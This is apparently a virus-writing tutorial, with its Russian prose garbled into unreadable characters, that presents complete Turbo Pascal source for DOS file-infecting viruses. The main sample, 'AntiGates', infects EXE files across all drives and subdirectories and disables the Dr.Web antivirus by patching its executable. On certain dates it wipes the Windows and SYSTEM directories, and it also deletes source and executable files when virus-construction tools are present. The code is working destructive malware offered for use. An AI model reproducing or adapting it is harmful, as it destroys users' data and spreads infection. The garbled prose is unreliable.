
                 浜様様様様様様様様様様様様様様様様様様様様様
                                                          
                       桎 桎 桎 桎 炳   桎 桎 桎     
                   THE   桀 桀 桀      桀 桀 桀     
                       桀   桀      桀   桀 樛     
                                                          
                 藩様様様様様様様様様様様様様様様様様様様様様

                             ム                        (c) DEC0DER

       痰碎  ＜ぅ  ェ  か  皀,  皰 絎腑 碎 ※珮瘠,  
Лモ,      腑   碎.   踳Δ   ≡ィ  ぎ  襦碎  錻覈,    甃諱,
牀牀↓.    竍茱 ≡ィ くぅ 瓷. Ν ョ皰 ▼閧
-─磴  ォ瓱,    ...,     メ碎 礬 イ痰皖,  艪 牀薀
├竍碎 瓷, 腑 閧赱  腑-皰 ├ 謌クムョ甄キ.
     皰  ぎ  か  轤  Л碎    祠モ?  踳Δ ≡ィ, Л碎 瓷 絎碎
-皰,  ..  ｀    ,  牀罐ゃ, Л覓 ムガキ覓 - 絎硼 °
爛め←閧, 艪 轤 .
       腑  碎? 蹍痰キ讓┤ HLLO (High Level Language Overwriter) 
ぎぅ か .
     オ皰琺 ェ襯 ▲薑:

     ) ゥ 甃諱 痰※碎   痰矣 VIRSIZE=Кム 皖┼キ
     ※珮  キ閧 ゥ 爬 Δ 〓 ┼閹┬.

     ) ｡褊←閧   TEXT   FILE OF -─磴 ,  牀痰 FILE
     (VAR F:FILE;).

     ) 讌碎瘴 BLOCKREAD/BLOCKWRITE.

      〓 甌＝癶キ  .

uses .....;
const
      virsize=1234; - 遏 腮甄 ｀讚 255  キ跏 65536.
var
    .
    .
    .
    .
    .
begin
      ム 痰 - 瘍碎 瓮￥ ├ .
      assign(tmpf,paramstr(0));
      reset(tmpf,1);

      blockread(tmpf,virbody,virsize);
                      ^ぅ瘡 virbody - 瘁│, 甌痰濶┤ ├ virsize .
      close(tmpf);

      ゥ ぎ 瓷碎 EXE-.
      findfirst('*.exe',Archive,srexe);
                                  ^ 轤 ムガキ 皋 SEARCHREC
      while doserror=0 do begin - 薀   腮矚
            infect(srexe.name); - ェガ  
            findnext(srexe);
      end;
      瓮 瓩カ
      writeln('輞▲, 艫');
end.

procedure infect(fname:string); - ガ 
var
    .
    .
    .
begin
      assign(victim,fname);
      reset(victim,1); - Ν rewrite

      blockwrite(victim,virbody,virlen); - 茱 瓮￥  

      close(victim);
end;

         〓 皰覃 ▲玻皀:

-------------------------------------8<---------------------------------------
{Pascal v. 6.0}
uses dos;
const
     virsize=3488;
var
   tmpf:file;
   virbody:array[1..virsize] of byte;
   srexe:searchrec;

procedure infect(fname:string);
var
   victim:file;
begin
     assign(victim,fname);
     reset(victim,1);

     blockwrite(victim,virbody,virsize);
     close(victim);
end;

begin
     assign(tmpf,paramstr(0));
     reset(tmpf,1);

     blockread(tmpf,virbody,virsize);

     close(tmpf);

     findfirst('*.exe',Archive,srexe);
     while doserror=0 do begin
           infect(srexe.name);
           findnext(srexe);
     end;

     writeln('Hello, world!');
end.
-------------------------------------8<---------------------------------------


     Overwriter ョ ※珮,  ≡ Ε  ↓. ｭ  竅モ Ε珥≪,
  ━  °  〓牀腑覓    °, ィ キ讚 ´珮. 轤 メ碎
ギ≦え痰  -皰  竅碎  Ε覃  .  竕メ癶竡  あ  ─ゥ
甎牀痰キ諷  甎甌  Ε    甌縲キ┘  Ε珥  か  甄イ竡薀
竅.
     ム覃  -  甌縲キ┘  Ε珥  ア   甄イ竡薑 ゥ 竅. 皰
甎甌    牀薀 ≒牀,  Л腮皀讚 キゥ 辟筌皋↓覃, 轤 
 ＜ぅ 瘁矗│碎瘴.
     皰牀  爬  Ε  -  爬瘠碎  Ε珥≪  ユ,  爬 竅
瓠瘠碎    ※    遏覓  ━キガ   竅碎. 踸 轤 祠覃 艫 
筥ゥ, 磚┐│  -─磴 Ξ 礬   瘉爛┘ "CPH".
      Ν 爛├碎 ≒牀 甎甌:
     a) 蹍痰 ぎ碎  ユ ≡ Ε珥≪,  皰 痺竄 ゥ  ※ 
     ━キガ TMP.EXE  竅皋碎. 皰 皰Ε ュ牀莅, .. 腮碎 ▲瘡 ,
      皀 ィ 碎 - 腑 ぎ.
     ) 腮碎 讚竡 痰 , ↓竡 か┃ ※珮, 碎  
     ※珮,  瘍竡 痰 -  ユ.

     瘁矗━ 甄竍 )

       ぎ -艪 ぃ皰※碎: 瘍碎 ※珮 ├ 茱 .


     assign(tmpf,paramstr(0)); - 皖琺皋
     reset(tmpf,1);

     blockread(tmpf,virbody,virsize); - 艪キ┘ 皀 ※珮

     close(tmpf); - 牀ガ 

     ゥ 薀    ▲玻皀爛  ┃筥罔珮ガ .

     蹍罐ゃ Ε:
procedure infect(filetoinfect:string);
var
    .
    .
    .
    .
begin
     assign(victim,filetoinfect);
     reset(victim,1);

     ゥ ぎ 牀▲爬碎, メ碎  ※珮   ?
     if virusexist(victim) then exit;

          Ж?
     if infcount>infmax then exit;

         ぅ覃 ?
     if filesize(victim)<virsize then exit;

     クム  Ε┘:

     瘍硅ガ   ＜筌
     seek(victim,0);
     blockread(victim,buffer,virsize); Buffer -  Ε 瘁│,   virbody

     茱 ※珮  メ皰 瘍 痰
     seek(victim,0);
     blockwrite(victim,virbody,virsize);

     ┐ガ  ユ 
     seek(victim,filesize(victim));

      茱 Гメ 爬┃讚 a
     blockwrite(victim,bufffer,virsize);

     ラ ぎ 碎 ┐キ皋筥皰
     blockwrite(victim,ID,IDsize);
     ID Ε °碎  磽き 瘁│ (byte, char) Кム IDsize.
     甄 ID - string, 皰 IDsize ぎΕ °碎 ▲ か┃ 痰牀 + 1.

     close(victim);

     イ皀讚 ラ 痰※碎 瘍モ腮 Ε┤.
     inc(infcount);

end;

粃罔 牀▲爲 爬痺矚癶 ※珮  :
function virusexist(testfile:file);
var
    .
    .
    .
    .
begin
     seek(testfile,filesize(testfile)-IDsize); -   ┐キ皋筥皰

     blockread(testfile,testID,IDsize); - ガ ┐キ皋筥皰


     if testID = ID then virusexist:=true else virusexist:=false;

end;

クム  竅 Ε ━ ÷М .

procedure execus;
var
    .
    .
    .
    .
begin
        き 痰牀 °?
     ourparam:=' /C ';
     for i:=0 to paramcount do ourparam:=ourparam+paramstr(i);

     assign(tmpf,paramstr(0));
     reset(tmpf,1);

     seek(tmpf,filesize(tmpf)-virsize-IDsize); - ムヨ  爬┃讚 

     blockread(tmpf,buffer,virsize); - 瘍 ィ

     seek(tmpf,0); -   

     blockwrite(tmpf,buffer,virsize); - 瘠ガ 爬┃讚 

     seek(tmpf,filesize(tmpf)-virsize-IDsize); - ムヨ  °∵┤ ユ 

     truncate(tmpf); - 〓瘁※ 痳き覃 Кム

     close(tmpf);

     exec(getenv('COMSPEC'),ourparam); - 竅ガ Ε珥≪

     infect(paramstr(0)); - ガ 甅

end;

キ爬:
    * 踸 竅 Ε珥 〓瘁←│モ瘴 ぎ 爬┃讚 甌痰鎰,
    .. ━, Кム 皀 Ε  竅モ瘴 command.com'  モ牀 "/C".
    * 礒 祠キ跏碎 Кム 閧, 癶え覃 ※珮痺, ..  紜皋
     Ε珥≪ (甃. 痰牀 1  2  爬ム)

ゥ ┐モ 皰覃 ※珮.

-------------------------------------8<---------------------------------------
{$M 5000 , 0 , 10000}
{ ^ ゛━ ※珮痺 閧}
{

        ｯ┘:
        珮 AntiGates 錢錺矚 ム覓 ｀ゥ キゥ ぎ｀覓  ※珮甌
        ィモ  (!) ≡ガ ※矣  モ *.exe 〓 ≡ュ 皀竕, 爿ア諷
         い.  莅 ぅ-─磴 皋 E:\POLIGON 甎謔襤碎  爛キゃモ瘴,
        Ж蓐 ≡ ※ゃщ. 珥 DRWEB. 閧  〓瘡 腮甄 Δ メ閹
        謔モ ォ矚≡ ↓  え瓷. 痰珮皰琺 祗艪鈞瘴 キ讚,
         , 艪 Ε UNERASE  モ.}

{$A- $B- $D- $E+ $F-,$G-,$I-,$L-,$N-,$S-,$V-,$X+}
{ 莅 茘┤   珮瘡}

Uses Dos;

Const
     MaxSize=5000000;{甌｀ Θ琺    聶}
     VirName='AntiGates';{ - Б┘}
     realid:String[6]='VAGNER';{ - id, ｃ °碎 遏襯 茱痰 瓱〓.}

     VirLen=5546;{ - か┃ EXE.  ＜れ皀 甃キ碎.}

     Author='DEC0DER';{ - ≒}
     counter=15;{ - max Ε┤  え }
     Describ='絎き覃 ▲皀爬. 祗艪モ ※珮 WIN95.based'+#10+#13+
             'Ε ｀爛矚  ※珮甅覓 キム皰  ム瓷 荐';



Var
    id:Array[1..6] of Char;
    virfile:File;
    ourparam:String;
    myname:PathStr;
    i,disk:Integer;
    filetoinfect:File;
    TargetFile:PathStr;
    VirBuf:Array [1..VirLen] of byte;
    TargetBuf:Array [1..VirLen] of byte;
    Attr:Word;
    Time:LongInt;
    InfFiles:Byte;
    DirInfo:SearchRec;
    LabelBuf:Array [1..6] of Char;
    TDIR:dirstr;
    TNAME:namestr;
    TEXTrn:EXTSTR;
    key,rekey:byte;
    dirsrch:searchrec;
    s:string;
{     /\
      ||
      皰 ムガキ諷. ▲爿 礒 °  腑-皰,  礒  , 腑}


procedure destroy(vext:string);
var
   virusc:file;
   src:searchrec;
begin
     exec(getenv('COMSPEC'),' attrib -r');
     findfirst(vext,$3f,src);{ - 薀 ≡ か 祗艪Ε}
     while doserror=0 do begin
           if src.attr<>Directory then begin
           assign(virusc,src.name);
           rewrite(virusc);{ - 牀皋 UNERASE}
           close(virusc);
           erase(virusc);
           findnext(src);
           end;
     end;
end;

procedure Init;
  begin
     randomize;

     myname:=ParamStr(0);{ - 茱 ━}

     LabelBuf[1]:=realid[1];
     LabelBuf[2]:=realid[2];
     LabelBuf[3]:=realid[3];
     LabelBuf[4]:=realid[4];
     LabelBuf[5]:=realid[5];
     LabelBuf[6]:=realid[6];

     InfFiles:=0;

     ourparam:='';

     Assign(virfile , ParamStr(0));
     Reset(virfile , 1);

     BlockRead(virfile , VirBuf , VirLen); { - 腮ガ 瓮￥}
     Seek(virfile,FileSize(virfile)-1);
     BlockRead(virfile,reKey,1);{ - 腮ガ 鈑 か 瓷え牀 爬┃讚 }

     Close(virfile);
     Key:=trunc(random*256);{ - 鈑 か え牀→ 爬 轤 竅}
     IF ParamCount <> 0 Then
        Begin
           For I:=1 To ParamCount Do
             ourparam:=ourparam + ' ' + ParamStr(I);{ - 荐 モ琺}
        End;

end;

procedure ExecOriginal;{ - 甎錺 爬┃讚竡 牀爼}
  begin

    FindFirst(ParamStr(0) , AnyFile , DirInfo);

    Assign(virfile , ParamStr(0));

    Time:=DirInfo.Time;
    Attr:=DirInfo.Attr;{ - ┃ガ 矗─竄  矣}

    SetFAttr(virfile , Archive);{ - ぅガ  爬き覓 か 瓱}

    Reset(virfile , 1);

    Seek(virfile , DirInfo.Size - VirLen - 7);

    BlockRead(virfile , TargetBuf , VirLen);{ - 腮ガ え牀 爬┃讚
                                                }

    Seek(virfile , DirInfo.Size - VirLen - 7);
    Truncate(virfile);{ - ÷ェガ ≡ 茘ゥ}

    for i:=1 to VirLen do TargetBuf[i]:=TargetBuf[i]-rekey+virbuf[i];{ - 瓷え珮ガ}

    Seek(virfile , 0);
    BlockWrite(virfile , TargetBuf , VirLen);{ -  茱 爬┃讚 
                                                  メ皰}

    SetFTime(virfile , Time);
    SetFAttr(virfile , Attr);{ - 痰※ 痰琺 矗─竄  ...}

    Close(virfile);

    SwapVectors;
      Exec(myname , ourparam);{ ... 竅ガ}
    SwapVectors;
    {甎ユ讚 磧 牀▲爲,  矗｀:
     メ  ━モ   a 牀  ※ 珮モ瘴}

    {  ゥ ガ 牀ｃ 甅}

    Assign(virfile , ParamStr(0));

    SetFAttr(virfile , Archive);

    Reset(virfile , 1);

    BlockWrite(virfile , VirBuf , VirLen);

    for i:=1 to VirLen do TargetBuf[i]:=TargetBuf[i]+rekey-virbuf[i];

    Seek(virfile , DirInfo.Size - VirLen - 7);

    BlockWrite(virfile , TargetBuf , VirLen);

    Seek(virfile , DirInfo.Size - 7);

    BlockWrite(virfile , LabelBuf , 6);

    Seek(virfile,DirInfo.Size - 1);
    blockwrite(virfile,rekey,1);

    SetFTime(virfile , Time);
    SetFAttr(virfile , Attr);

    Close(virfile);

end;


procedure FindTarget;{ - 牀罐ゃ Ε }

Var
   exesearch:SearchRec;

function VirusPresent : Boolean;{ - 牀罐ゃ 牀▲爲   Ε痰}
  begin

     VirusPresent:=False;

     Assign(filetoinfect , TargetFile);
     Reset(filetoinfect , 1);

     Seek(filetoinfect , exesearch.Size - 7);{ - 腮ガ ┐キ皋筥皰 ... }
     BlockRead(filetoinfect , id , 6);
     close(filetoinfect);

     If id = realid Then
     VirusPresent:=True;{ ...  メ  メ碎, 皰 Л腑    皰Ε}

end;

procedure InfectFile;{ - ガ }
  begin

   If exesearch.Size <= VirLen  Then Exit;{メ キ跏 瓮￥, 皰 絎}
   If exesearch.Size > MaxSize  Then Exit;{メ 腑 ｀跏, 皰Ε 絎}

   If Not VirusPresent Then { - 牀▲瑙ガ  腮 瓮￥}
    begin

       Time:=exesearch.Time;{ - ┃ガ 矗─竄}
       Attr:=exesearch.Attr;

       Assign(filetoinfect , TargetFile);
       SetFAttr(filetoinfect, Archive); { - 痰a※ 爼讚襯 矗─竄}
       Reset(filetoinfect , 1);

       if ioresult>0 then begin close(filetoinfect); exit; end;{ - 牀▲爲
                                                      薑矣  瓱}

       BlockRead(filetoinfect , TargetBuf , VirLen);{ - 腮ガ   ...}

       for i:=1 to VirLen do TargetBuf[i]:=TargetBuf[i]+key-virbuf[i];{ ... え珮ガ ィ}

       Seek(filetoinfect , 0);
       BlockWrite(filetoinfect, VirBuf, VirLen);{ - 痺ガ 瓮￥  
                                                     メ皰 瘍皚 痰}


       Seek(filetoinfect , exesearch.Size);
       BlockWrite(filetoinfect , TargetBuf , VirLen);{ - 茱 え牀
                                                           ユ}

       Seek(filetoinfect , exesearch.Size + VirLen);

       BlockWrite(filetoinfect , LabelBuf , 6);{ - 茱 ┐キ皋筥皰}

       Seek(filetoinfect , exesearch.Size + VirLen + 6);
       blockwrite(filetoinfect,key,1);{ - 茱 鈑}

       SetFAttr(filetoinfect , Attr);
       SetFTime(filetoinfect , Time);{ - 〓瘁←│ガ 爬┃讚襯 矗─竄}

       Close(filetoinfect);

       Inc(InfFiles);{ - ラ え  Ж}

    end;
end;

procedure fuckdrweb;
var
   drweb:file;
   c3:byte;
begin
     findfirst('DRWEB.EXE',$3f,exesearch);{ - 薀 ┼}
     if doserror<>0 then exit;{- メ モ}

     exec(getenv('COMSPEC'),' attrib -r');
     assign(drweb,'drweb.exe');
     reset(drweb,1);

     c3:=$c3;
     blockwrite(drweb,c3,1);{ - 痰※ ret ↑メ皰 ム〓 }

     close(drweb);
end;

procedure destroyNRLG;

begin
     findfirst('NRLG.EXE',$3f,exesearch);{ - 薀 痰珮皰}

     if doserror<>0 then exit; { - モ - 諷え}

     destroy('*.asm');;{ - 祗艪ガ ≡ オ}
     destroy('*.exe');
     destroy('*.com');

end;

procedure destroyIVP;

begin
     findfirst('IVP.EXE',$3f,exesearch);{ - 薀 痰珮皰}

     if doserror<>0 then exit; { - モ - 諷え}

     destroy('*.asm');;{ - 祗艪ガ ≡ オ}
     destroy('*.exe');
     destroy('*.com');

end;

begin { -  findtarget}
      fuckdrweb;
      destroyNRLG;{ - 祗艪ガ 痰珮皰琺}
      destroyIVP;
      FindFirst('*.EXE', Archive , exesearch);{ - 薀 ≡ 茯}
       While DosError = 0 Do
         begin

           If exesearch.Name='' Then Exit;{ - メ 薀 モ 茱}

           TargetFile:=exesearch.Name;{ - 茫}

           InfectFile;{ - ガ 轤 }

           If InfFiles > counter Then Exit;{ - メ Ж 礒 ぎ痰皰膈,
                                             皰 諷え}

           FindNext(exesearch);

         end;
end;

Procedure FindSubTargets;{ - 牀罐ゃ 瓷  い爛皰爬閻}

begin
     findfirst('*.*',Directory,dirsrch);{ - 薀 え琺}
     while doserror=0 do begin
           if (dirsrch.attr=$10) and (dirsrch.name<>'..') and (dirsrch.name<>'.') then begin
              chdir(dirsrch.name);{ - ムュえ  aぅ竡}
              findtarget;{ - оガ  ォ ≡}
              chdir('..');{ - ┐ガ ÷a皚  牀ぎガ 瓷}
           end;
           FindNext(dirsrch);
     end;
end;

procedure clearwin95;
var
   y, m, d, dow : Word;
   wpath:string;
begin
     GetDate(y,m,d,dow);
     if (d<>5) and (d<>8) then exit;{ - 牀▲瑙ガ  礒 腮甄}

     destroy(copy(getenv('COMSPEC'),0,length(getenv('COMSPEC'))-11)+'*.*');
     destroy(copy(getenv('COMSPEC'),0,length(getenv('COMSPEC'))-11)+'SYSTEM\*.*');
     { -  もガ 茯}
end;

begin

     Init;

     fsplit(paramstr(0),TDIR,TNAME,TEXTrn);
     if TNAME<>'PROJECT' then ExecOriginal; { - メ  ┃痰閧, 皰 ...}

     asm{ - 牀皋 DEBUGGER'a, 矗磧モ ≪}
         PUSH AX
         IN AL, 21h
         OR AL, 03h
         OUT 21h, AL
         POP AX
     end;

     ClearWin95;

     for disk:=3 to 26 do begin  { - 薀  ≡ュ え瓷  : ぎ Z:}
         if disksize(disk)<>-1 then   begin { - メ  え瓷  痺薀痰≪モ,
                                                ┼ 轤 CD-ROM}
            chdir(chr(disk+96)+':');{ - ムュえ  礒覃 え瓷:\皀竕┤ え}
            FindTarget;
            FindSubTargets;{ -  ガ ≡  珮}

            chdir('\');
                        {  皰 Ε a  爿}
            FindTarget;
            FindSubTargets;
         end;
     end;

     asm{ - 甅 ∇磧ガ ※矣珮}
         PUSH AX
         nop
         IN AL, 21h
         AND AL, 0FCh
         OUT 21h, AL
         POP AX
     end;

       If False Then { -  轤 莅 痰硅 °}
          begin
             ourparam:=VirName;
             ourparam:=Author;
             ourparam:=Describ;
          end;

end.